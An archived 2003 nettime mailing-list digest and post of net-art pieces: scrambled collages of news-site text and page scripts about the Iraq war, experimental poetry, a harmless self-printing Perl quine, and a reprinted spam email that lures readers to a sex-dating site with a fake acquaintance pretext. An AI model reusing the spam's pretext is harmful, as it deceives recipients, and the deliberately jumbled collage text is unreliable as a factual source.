new_window.focus();\n     -3.20 \u0095 Investors in the bunker\n\n  src=\"http://graphics7.nytimes.com/images/promos/homepage/20030328MARIpromo.jpg\";\n\n             MIB 30    FULL STORY  Crossword/Games Schlimmste Bombennacht in Bagdad seit Kriegsbeginn \u0165\n        Speciale\n\n       guerra con mappe e foto\n  WebWise\n\n   Vivere Roma\n         le marchiano svastica\n       Transp./Warehousing\n     ------ SETTIMANALI ------\n\n\n   else        raid aerei alleati. Il Pentagono ha deciso di mobilitare altri\n\n\n\n          Imi-Sir: Previti ricusa i giudici, slitta la sentenza\n     Il\n   Science & Space      17\u00b0\n\n\n\n\n .bbcpageBar {background:#999999 url(/images/v.gif) repeat-y; } A-Z of BBC programme websites\n\n Programmes,\n\n  Pregnancy,\n         \u0095 British: Iraqi forces firing on civilians trying to flee Basra            Calcio\n\n\n \u0095 Remember earnings?\n\n            Interni\n    da un albanese\n U.N. arms expert on Iraq's weapons of mass destruction\n    di questo mondo\u0165\n            Cerca il titolo\n\n\n  Fashion & Style //Specify the marquee's scroll speed (larger is faster)\n What's On locally:     Kong sostengono di aver isolato il virus responsabile della polmonite killer,\n     \u0095 \"Bunker-buster\" bombs target Baghdad communications\n       La ragazza aveva strappato un manifesto di Forza nuova. Marchiata con un\n Clicca per leggere cosa \u010d successo oggi  }\n    villa del presidente del Consiglio Silvio Berlusconi. Altre centinaia di\n     altre rubriche\n  \u0095 BBC Audio Updates    collisione sulla pista\n             | JOB-ROBOT      Dinosaurs,  Law Educ./Library  Your Profile alla videocomunicazione  var pCid=\"it_kataweb-it_0\"; di\nCesare Martinetti Viaggi Napoli    Approvata la riforma fiscale: solo due aliquote per l'Irpef. La ritenete equa per i\nontribuenti?  \u0095 Post Your Resume      N\n   Accadde Oggi\n   News\n  \u0095 U.S. Forces: 173rd Airborne Brigade       | DOSSIER\n       IMPACT dall'Emilia Romagna. Si prevede un \u0164assedio\u0165 di almeno 400 trattori.BBCi only     Economia \u0095 Senate OKs tax breaks for\ntroopsPortuguese   Arts Wein, Genuss und Lebensart  Reviews, Marketing  \u0095      E-Mail Services Local TV and Radio | ZEIT-SHOP   \u0165\nAktuell   TuttolibriL'Under 21 di Claudio Gentile affronta stasera  uomo comandadi Massimo Gramellini  [ENERGIEPOLITIK] Bechtel\nCorporation\n     868.52\n\n\n      |\n\n\n\n\n\n\n     Italian    Calcio, Under 21\n\n               Link veloci Acquisto biglietti  Soaps,  Le     \u0095 Watch Iraq Video Coverage: Sign up       un'azienda finlandese\nspecializzata nella sicurezza dei sistemi informatici.\n        Design/Arch./Eng.       Human Resources        X\n face=\"Times New Roman, Times, Serif\">Stock Quotes:\n\n\n             \"Ora\n\n\n    \u0164Lippi? Venga\n //--> ssit_arg.setHomePage(document.location);\n  E-Mail Preferences\n                 direttore generale\n  Parenting,\n\n\n if (navigator.appName.indexOf(\"Explorer\")>=0) document.write('Fai di Repubblica la tua home page');\n\n\n\n       International Edition Serif\" color=\"000066\">\n\n          }\n                La            US gears up for long campaign\n\n\n\n  Dining & Wine\n    |  Video          setTimeout(\"scrollit()\",100)\n         Retail/Fashion\n\n\n\n      La\n\n var w0=1;      Cinema\n\n      in un incontro di qualificazione che potrebbe risultare decisivo. Assente  function homepage() { Neville fears England failure\nKnopfdruck? \u0164No decreto Alemanno\u0165   Times reviews of books about Iraq, the Persian Gulf and the 1991\nwar.--------------------------------------------------------------------------------Djindjic, avvenuta il 12 marzo a Belgrado. Lo\nscontro a fuoco \u010d avvenuto    ssit_arg.href=\"#\";   var refR=escape(document.referrer);      Education if\n(stile[i].style.fontSize.indexOf(\"%\")!=-1 ) {  Vittorio Zucconi - IL   e Tony Blair ribadiscono a Camp David la determinazione ad\nandare  T View the 5 day forecast Message boards: Your views    ESTERI  sito di Aljazeera   E NUVOLE\ntom/nyt-com/portfolio/view.asp\">View Your Personal Portfolio Schon einmal weigerte sich die Bundesrepublik, an der Seite Washingtons\nin den Krieg zu ziehen   }    WIDTH=\"100\" HEIGHT=\"77\" BORDER=\"0\" Exec./Manag.    -0.23% More News From APpotrebbe essere messa ai\nvoti gi\u0155 oggi.giorni[6]=\"Sabato\";  Krieg in den Tr\u00fcmmern des RechtsAu\u00dfenpolitik ohne Moral ist zynisch, doch Moral allein sch\u00fctzt\nnicht vor Terror und Massenmord Von Michael Naumann \u0165  |  Videovspace=\"5\">  International end al cinema Suchmaschinenoptimierung -\nTop-Positionen f\u00fcr Unternehmen \u0165 --------------------------------------------------------------------------------Baghdad: 2:24 PM,\nMarch 28 Gli iracheni lamentano oltre trenta civili uccisi dai raid di ieri. \"Usano  'Bunker-buster' bombs blast target in Baghdad\nMILANO P\n      Y\n            La Borsa\n\n      Rai,\n   }\n\n       Escono \"Solaris\" e \"La regola del sospetto\". Ma anche\n\n //Specify the marquee's height (in pixels, pertains only to NS)\n       atipica\n          \u0164Cose\n\n  [KINDER]   Geolino.de: Pinboards   Auf der Website f\u00fcr Kinder von Geo diskutieren 8- bis 14-J\u00e4hrige \u00fcber ihre \u00c4ngste und\nEinstellung zum Irak-Krieg             Ma intanto la Francia protesta per le accuse a Chirac, e il Capo dello\n\n\n    else {  Privacy Policy\n Von Christof Siemes\n H\n\n\n\n             VITA DEGLI ALTRI\n\n\n\n  refR+'&cid='+pCid+'\" width=1 height=1>';\n\n  Crime,\n  {\n   Cult,\n\n             per la Sindrome acuta respiratoria severa (Sars) sono stati sollecitati\n\n            \u0095 Two centuries of African-American art      L //-->\n   Electronic Edition Serbia:   .bbcpageSearchL {background:#666666 url(/images/sl.gif) no-repeat;}\n Chinese\n\n    altre notizie di Sport\n     \u0165\n\n\n   window.open(\"http://zeus.zeit.de/politik/irak/presseschau.html\",\"Presseschau\",\"width=250,height=184,location=no,resizable=no\";);\nsindaco nei guai per gli emendamenti\n\n        | LEBEN   Kristof: Hearts and Minds\n    per gli autoveicoli organizzato da Lingotto Fiere, che rimarr\u0155 aperto fino\n\n\n  Education document.write(\"\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Tue, 25 Mar 2003 21:04:11 GMT\nFrom: \"\" <happylaurie23qljbl {AT} prodigy.net>\nTo: 7-11 {AT} mail.ljudmila.org\nSubject: 7-11,hi there\n\nFirst thing I hope this is the right email address  7-11 {AT} mail.ljudmila.org  ...:) You probably don't remember me,\n but we talked online a while ago. I don't really know what happened, but I guess we both\n just got really busy or something. I feel really bad because I don't want you to think I was \nignoring you or anything.\n\nAnyway, I know we haven't talked in a while but I thought we had the beginnings of a \npretty good thing going so I was just wondering if you'd be interested in getting back in touch.\nMaybe with a few emails first so we can feel each other out again?\nYou probably don't remember what I look like, there are some pics of me at:\n\nhttp://www.mysexaffair.com/\n\nMy User name is laurie243 .\nI hope you're still interested. I'm gonna feel pretty dumb showing you that website if you blow me off.....\nbut I hope that gives you some confidence that I'm for real. \nI DEFINITELY don't just hand that out to people. I hope this works out for the best,\nyou were the most compatible guy I met on that site and I feel horrible for letting it slide. \nAnyway, check out the site and email me if you want to get together. \nI hope so. Talk to you soon!\n\nLove ,XX\n\nLaurie\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nTo: \"_arc.hive_\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re:  unstable digest vol 40 snapshot\nDate: Fri, 28 Mar 2003 13:12:20 -0600 (CST)\n\nAt 18:01 on Mar 28, cantsin reasoned:\n\n> To: 7-11 {AT} mail.ljudmila.org\n> Date: Tue, 25 Mar 2003 12:40:42 -0600 (CST)\n> From: diocletian {AT} visi.com (Karl Petersen)\n> Subject: Al Jazeera - objective and balanced global news coverage and\n\nEstablished that the HTML was too broken to render.  Anti-hacked.\n\n> Date:         Fri, 21 Mar 2003 09:37:32 +1100\n> From: \"a][nti][nglo.cubic\" <netwurker {AT} HOTKEY.NET.AU>\n> Subject: Re: Get your \"NO WAR\"\n> To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n> can u d.termine the paths + passages of info-impacts?\n\nIs the answer simply that killing is never justified (the \"Buddhist\"\nTibetan juju, how to rev up your mindfulness?  At Buddhist Boards 2\nyou'll make time!  Major cultural upgrade with Buddhist side-dish!\n\n> [help.less.ness_is_KNOT_d.termined_by_flippant_egoship!!!]\n>\n> bah!\n\nThe paranoia inherent in the concept of \"engaged Buddhism\" comes\nfrom the idea that most Buddhists want to not engage, because that\nPatriarch, makes engaged Buddhists feel like they are doing\n\"something special,\" taking Buddhism \"to the next level.\"  Believe\n\n> [is yr writing powerless due 2 its target audience niche? is this trawling\n> + dispersal \"not going to accomplish anything at all\"]\n>\n> :|\n\nDon't have time to read Phil Dick's beautiful ultrashort novel,\n\"Eye In the Sky\"?  Boohoo for you, so read this book review by\nCharles Carreon that takes about 90 seconds to blast through, and\nthen you'll make time!  Major cultural upgrade with Buddhist\nside-dish!\n\n> >(you can make the claim that it will provide information about the\n> situation by linking to various news sources, but don't you think anyone\n> really interested in this woulda sniffed that stuff out already?)--\n>\n>\n> so literal, LL.\n>\n> *sighing_thru_my_lateral_mouth*\n\nBuddhism is Being Born\n\n> >i agree with t.whid////i'm against this war primarily because it will\n> provoke more anger from an already angry (rightfully so)\n> population------i'm also against it because of the very dangerous ideology\n> george w. bush has been using---it's an ideology firmly entrenched in its\n> own snug corner of the world---there's an axis of evil because there are\n> political ideologies different from american capitalism---this is\n> comic-book logic---\n> >\n>\n>\n> & wot re: the banal logic of the assumer?\n\nBuddhism is the latest thing.  You're part of it.  But does it?\nSometimes You Just Feel A Need to Post Buddhist Thoughts\nSometimes you just have Buddhist thoughts.  Something brings them\n\n> + cloaked apathy + n.gendered blockages of [symbolic] action stances that u\n> c.k 2 w[ord]ash away above?\n>\n> [symptomatically + author.ity occulsions]\n\n1 definition found\n\n>From Webster's Revised Unabridged Dictionary (1913) [web1913]:\n\n  Ablation \\Ab*la\"tion\\, n. [L. ablatio, fr. ablatus p. p. of\n     auferre to carry away; ab + latus, p. p. of ferre carry: cf.\n     F. ablation. See {Tolerate}.]\n     1. A carrying or taking away; removal. --Jer. Taylor.\n\n     2. (Med.) Extirpation. --Dunglison.\n\n     3. (Geol.) Wearing away; superficial waste. --Tyndall.\n\n> pfft.\n>\n>\n>\n> >probably the most useful thing we can do is be kind to each other, and to\n> especially be kind to muslims here in the US (they've had a tough time\n> since 911!!!!)----understanding and kindness are ALWAYS more effective than\n> bombs----THAT'S a helluva lot more effective than a NO WAR page----\n> >\n>\n>\n> + b AWARE of [y]our own baggage\n> + remove_the_judgement_need[les]\n\nPoor men may sell their blood to AVENTIS BIO-SERVICES.\n\n> ..+ the accumulation of that ideal silt in bobs + filtered patches.\n>\n>\n> *head shake.ages*\n> mez\n\n> From: Patrick Herron <patrick {AT} PROXIMATE.ORG>\n> Subject: a message for you\n> To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nThis \"GEORGE WALKER BUSH\" text circulated widely 2 months ago,\nand was posted by nettime on 26 Jan.  It was very affective.\nPatrick Herron apparently has his very own mailing list\nfor his disaffected and mis-recycled posts; I would like to see\nthe better (critical) of those.  Meanwhile he is killfiled.\n\n> From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n> To: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\n> Date: Fri, 28 Mar 2003 12:30:00 +0100\n> Subject: http://www.chromaticspaceandworld.com/cgi-bin/THE_TRUTH.CGI\n>\n> http://www.chromaticspaceandworld.com/cgi-bin/THE_TRUTH.CGI\n>\n> THE TRUTH _ Mar-28-06:24:45-2003\n\nVery good.\n\nmail/sent-mail-jan-2003:   Establishment of Truth depends on destruction of Falshood continually\n\n> Date: Tue, 25 Mar 2003 21:04:11 GMT\n> From: \"\" <happylaurie23qljbl {AT} prodigy.net>\n> To: 7-11 {AT} mail.ljudmila.org\n> Subject: 7-11,hi there\n\nI support this post.\n\n-- \nWith only one line it's a trivial thing to check for matching quotation marks.\n\n\n\n\n\nnettime unstable digest vol 40\nSat Mar 29 16:55:24 2003\n\n\nSubject: Al Jazeera - objective and balanced global news coverage and\n    From: diocletian {AT} visi.com (Karl Petersen)\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Re: Get your \"NO WAR\"\n    From: \"a][nti][nglo.cubic\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: http://www.chromaticspaceandworld.com/cgi-bin/THE_TRUTH.CGI\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n    To: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\n\nSubject: 7-11,hi there\n    From: \"\" <happylaurie23qljbl {AT} prodigy.net>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Re:  unstable digest vol 40 snapshot\n    From: Karl Petersen <diocletian {AT} visi.com>\n    To: \"_arc.hive_\" <_arc.hive_ {AT} lm.va.com.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 29 Mar 2003 16:56:06 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200303292111.h2TLBwb12129 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00158.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 40"
            },
            {
                "id": "00131",
                "content": "\nFrom: Harwood <Harwood {AT} scotoma.org>\nTo: reader-list {AT} mail.sarai.net\nSubject: [Reader-list] war.pl\nDate: Mon, 17 Mar 2003 23:15:08 +0000\n\nA little something I came across recently\nIt's a quine - a self replicating programme\n\nwar.pl\n\n#########################################\n#! /usr/bin/perl\n$s='$c = chr(39);$t = q^#! /usr/bin/perl \n$s=^.$c.$s.$c.q^;eval $s;^.\"\\n\";print $t \n###             execute-me            ###\n# XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX #\n# XX  XX  XX  XXXXX    XXXXX       XXXX #\n# XX  XX  XX  XXXX  XX  XXXX  XXXX  XXX #\n# XX  XX  XX  XXX  XXXX  XXX  XXXX  XXX #\n# XX  XX  XX  XXX  XXXX  XXX  XXXX  XXX #\n# XX  XX  XX  XX          XX        XXX #\n# XX  XX  XX  XX  XXXXXX  XX  XXXX  XXX #\n# XX          XX  XXXXXX  XX  XXXXX  XX #\n# XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX #\n###             code of war           ###\n';eval $s;\n#########################################\n# cut out the code above - save it as -\n# war.pl and run it. \n#########################################\n        \n# The earth is a inch deep in frost.    #  \n# Hard; breaking ground to bury the dead#\n# The north is silent - Shadowed -      #\n# waiting.                              #\n#                                       #\n# The sun eclipsed -                    #\n# by eagle wings and lion heart.        #\n# No one can plow or sow, type or code. #\n# Spring buds and blossoms retard.      #\n#                                       #\n# The sands of arabia grown.            #\n# The reign of cruelty is begun.        #\n# Disguised in charity & pity & peace.  #   \n# Pity excusing poverty.                #\n# Charity excusing wealth.              #      \n#                                       #      \n# Peace an armistice of fear            #  \n# Reproducing the code for war.         #\n#                                       #\n# w.blake                               #  \n#########################################\n#########################################\n        \n#! /usr/bin/perl\n$s='$c = chr(39);$t = q^#! /usr/bin/perl \n$s=^.$c.$s.$c.q^;eval $s;^.\"\\n\";print $t \n####             execute-me          ####\n#                                       #\n#  +--^----------,-----,----,------^-,  #\n#   | |||||||||   `----:    |        O  #\n#   `+---------------------^---------|  #\n#     `\\_,---------,-----,-----------~  #\n#       / XXXXXX / |    /               #\n#      / XXXXXX /  `\\  /                #\n#     / XXXXXX /`-----~                 #\n#    / XXXXXX /                         #\n#   / XXXXXX /                          #\n#  (________(                           #\n#   `------~                            #\n###                                  ####\n';eval $s;\n#########################################\n# cut out the code above - save it as -\n# war.pl and run it. \n######################################### \n\n\n\nDate: Fri, 21 Mar 2003 22:03:44 +0100\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: no subject\n\n       >    who who\n       > blue      who who\n       > red      { r, r, i, i, } h\n       > red      _ Airborne Division in the beginning and _\n                    soldiers from the 101st Airborne Division in the\nkuwaiti desert on wednesday _\n\n\n   LA>VIE>TOMBE> C'EST > LA>VIE>QUI > TOMBE\nLA > VIE > TOMBE > C'EST>LA> VIE>QUI > TOMBE >\n_on Wednesday_dsday_\n\n\nQUI>GRINCE>C'EST>LE>GRINCEMENT>2LA>VIE>QU'ON>ENTEND>QU'ON>ENTEND>DANS>LA>PLUIE>QUI>TOMBE\n\n\n\nCA>GRINCE\n\n&=\n\nl=a =pl=u=ie= =ri=n=c=e=\n\n\n\n       > blue      i, } i, i, e c, t, s, a,\n       > red      s, } l, h r, a,\n       > orange      r, i, h, i, h, r, e, i, h, n, {\n       > red      } n, h, n\n       > purple      i, p, { i, l, l, h, l, h, r, e,\n\n\n&=\n\nl=a =pl=u=ie>GRINCE   > LA VIE GRINCE\n\n\n       > orange      } a, i i, {\n       > red\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\nDate:         Thu, 20 Mar 2003 02:01:46 -0800\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nSubject: bismillah\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nbismillah\n\nasiaihibmailimllilalmliaiblmilblimmaamaishiiihlilblmilamiahlmbh\nilliblimhbbbmlshiihhlhhihlimaahislblihsibbbmhllblblhahaimislaba\nslalamiaaliblsaaamibshbihaabahhmmbsibilhibaimlbilsibsblihih\nibliisaslalhmamaililiilmillhillshbmiblmhhhmbllsiblimlmibibssmmi\nhlasiilbllbabbhailblbmlsslimsiilmhaimhbllhibilbhlhimslbillibbialm\nslhamiiilsblllhblhalslliiblilhmilimlmhhliihmbillmlamaaiblmillmaihb\nmahllbliblslbisahhsailmmsmishmhbiiisibllhhshhallmiaiimilshalai\nmlllbalimhihisbamlmmsahbsshlillaimhismsiaslsbliimmiilihslmai\nhhillsshhahllillhlimllblhiihabhmlmbasibhalissbiasilimllhllasimamil\nahhmhilhshlbhhhaihsilhmiahiblmassmiiibilhhhlmabamhilmaiblill\nmmliilaibihlmsibimalslmlhlbimilalillbllbbibiaabalihblsmmsmmhli\nhlihllmbblmasimallibsllsiaiiaiimibmihhiallliimhissabblbhiihbhihm\nliilmasalbilihslbblashalibhmbmlalibalmimaihhbsailmbamblsialb\nahilallhlllaalmmalalllsmlbaaiallillissiabibhlbisliiiabblmlhiisbsilbii\nbahsahilalliaaillsshlliihbiiilmihmblmaslilaimslbmiihhlbliahlailimi\nslabahiilhssibhmlaallllaaiaasalslalibhsllillmsblllisbbmibimlilimm\nbisahiiliabmmslbhiiihllsamsmililiialiilbhamiaimslhabibbhmlbsb\nlmisbsllmlimililhihbbhhhibiiailslbbllasimbslhlissmllbimslihliihish\nbiaiiamllimiablilbmiialsaiiamialiihlshblsmiilbahlimassiamlhslm\nibahhialabmmislalilhlilaihalsilllbmbmbsislilsmhbilialihlaihlmsliil\nmlblhbbsblbashlamhimilbhiahlsliaislimllishbhhaamiabalhhaiha\nbmhshhmliihhalismimiiallalbslmmlhiiiiilllamaalmbhihmmllhhba\nimmlllhhalmmlslbihailhbahbsshmlahbalsillliialllabbmhbillablhis\nlhllaialmislimsbhsimimhmlillhilbiblsbhisbsislalhhblsiallhlmlsilal\nimhmmlsmlalhlmmlsiihalaablihsllssimlsbbilslhhalsasbisliilbilm\nihlllbbhhsibillilaibmblmbialhmmaiihlbmsiballlhsmssllibmhhlmls\nasiisbiaamhlbbhhilsisbimhhmllsbilbmbbaahaaahlhhhlllmaslm\nhlbbihasbsibblibhbaiibllmlhlisbillshliimilmibshahiiihhhhaaibliih\niblillmhbhialbbishahhssllslsblhlllalllasahsihabhisbaaimmbaba\nabiihmhhiiaabbhibblssaibllmshiaiiibmahmamaimllillihbashab\nbimllhaisshmliiishhlssllsbshbhaslhsllaiaammlbassmisllbmbiih\nialiaibmsllmhaamlshmlbmbimsliiaalsiisbmhbamlsamiihsmillii\nllbahbbhhlllmbmhbilhismaalsmlmllsilhmssbhilhhlmibbsbhaals\nlmallblamislsiishhbibsillhlhbbishilmlmlailislilbslblbllsabllhhaii\nhlbilhhlssilahlmlalmhmiaammibmiliimamhaaihshlbblbiblilllllha\nsabasimibmliilllliilsiiaimllissiaislibiblhahlliiishbailhilmaililsaba\nhsaiilblihhiliaaaiiaaabbsbilibamlmibimlhaimlsbblhimllilhimisii\niaambssabamilllhlshllmmmiilbiilmhmsaihlbimmaaiasmmllillhh\n\n\n\nDate: Thu, 20 Mar 2003 14:38:51 +1100\nTo: imitationpoetics {AT} listserv.unc.edu, nettime-l {AT} bbs.thing.net\nFrom: \"a][nti][nglo.cubic\" <netwurker {AT} hotkey.net.au>\nSubject: _Come_2_Data_ [Anglospherical Engineering] \n\n\n\n\n\n\n===*: Target left PEACENet. \nFailed to deliver: [+ 33 other countires]\n===*: Target left SANITYNet. \nFailed to deliver: [good]\n\n\n\n\n[x]\tNormal\t[-]\tAnglospherical Engineering\n\t2:00 PM 19/03/03 +1100\t 4\t\n\n\n\nAnglosphere Engineering\n\n$come_2_d[pro r]ata\n$come_2_datum\n$s.lick_reasoned = aug[D]mented \n$fo[b]ibles_engine.eared\n$slinking_in2_b[f]reak.down = edgy\n\n\n$should_i_stay_to_watch_the_beginning_of_the_war?\n\n\naffirmation, attestation, averment, cincher, clincher, clue, confirmation,\ncorroboration, cue, data, declaration, demonstration, deposition,\ndocumentation, dope, goods, gospel, grabber, grounds, hold water, index,\nindication, indicia, info, manifestation, mark, sign, significant, smoking\ngun, substantiation, symptom, testament, testimonial, testimony, token,\nwitness \n\n\n$schedule_file = \"www.come.2.data\";\n\n\n\n===reason: No such nick\n===san[e]ity: No such nick\n\n\n\n\n\n===*: Target left PEACENet. \nFailed to deliver: [+ 33 other countires]\n===*: Target left SANITYNet. \nFailed to deliver: [good]\n\n\n\n\nDate: Sun, 16 Mar 2003 22:54:15 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: Intertextualities 01\n\nIntertextualities 01\n\n[Words taken from a joke toilet paper roll (Polluted Proverbs ca. 1950?]\n- Used as both source and intertext\n\n\nLet Everything thy >< not out thy >< tomorrow hand you >< left efforts\nFAILED today >< hand alright. Never doeth. >< know never off what >< Worry!\nhave AND to >< tried have your >< right It   home than >< here. at never\nDon't >< do on elbows to home. >< >< denied. On   >< tried >< will O.K.\nReady-Aim-Fire!   your >< >< Eye!   ends   your to   is     >< what is\n>< come object. May Everything >< overstay until that >< all.     is     the ><\n><   Eclipse   ever   >< put   total ><   full feel ><     the is   >< the\nmoon         what >< well   and there's >< you     >< can Attention!   >< do\n>< there's   Dismissed! Arms! you >< >< >< moon A you >< you       ><   first\ntrying! Shoulder ><           >< be   >< do     If   do >< >< in to ><\nsight >< better   Try, try     >< there   ><   A     >< the       Don't >< a\ndon't ><   All       Don't ><     A   ><     ><           ><   a     ><\n>< a   >< at     >< >< Pat at   >< your       ><     Bulls   well seems ><\n>< you       >< knees       succeed >< at     ><       >< can Again.   ><     ><\njust   stand   >< whole,       ><       >< please.       Statues   >< ><\n>< ><                 ><         >< ><         ><       ><         >< ><   ><\nbehold.         ><       >< ><                   >< ><   ><         ><\n><     ><   ><           ><     >< Be           >< ><       ><     >< when\n><         ><         >< Where       >< >< ><     ><       >< will         >< ><\n><           ><   >< Keep >< ><   ><           ><   completely     park.\n       ><     >< way.       ><       ><         >< 